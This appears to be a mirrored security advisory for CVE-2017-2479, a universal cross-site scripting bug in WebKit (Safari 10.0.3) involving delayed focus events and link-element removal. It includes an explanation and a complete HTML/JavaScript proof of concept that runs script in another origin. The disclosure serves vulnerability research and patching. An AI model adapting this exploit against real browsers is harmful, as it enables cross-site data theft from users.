WebKit Focus Event UXSS

Published
Credit
Risk
2017.04.10
lokihardt
Low
CWE
CVE
Local
Remote
CWE-79
CVE-2017-2479
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
None
None

WebKit: UXSS via a focus event and a link element

CVE-2017-2479


This is somewhat similar to <a href="https://crbug.com/663476" title="" class="" rel="nofollow">https://crbug.com/663476</a>.

Here's a snippet of Container::replaceAllChildren.

while (RefPtr<Node> child = m_firstChild) {
removeBetween(nullptr, child->nextSibling(), *child);
notifyChildNodeRemoved(*this, *child);
}

If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.

Tested on Safari 10.0.3(12602.4.8).

<html>
<head>
</head>
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
btn.onfocus = null;

window.g = inp.appendChild(document.createElement('iframe'));
window.g.onload = () => {
window.g.onload = null;

window.g.src = 'javascript:alert(location)';
let xml = `
<svg xmlns="<a href="http://www.w3.org/2000/svg" title="" class="" rel="nofollow">http://www.w3.org/2000/svg</a>">
<script>
document.documentElement.appendChild(parent.g);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

let h = document.body.appendChild(document.createElement('iframe'));
h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
};

window.g.src = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>
};

f.contentWindow.location.hash = 'btn';
inp.textContent = '';

</script>
</body>
</html>

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt


See this note in RAW Version

 
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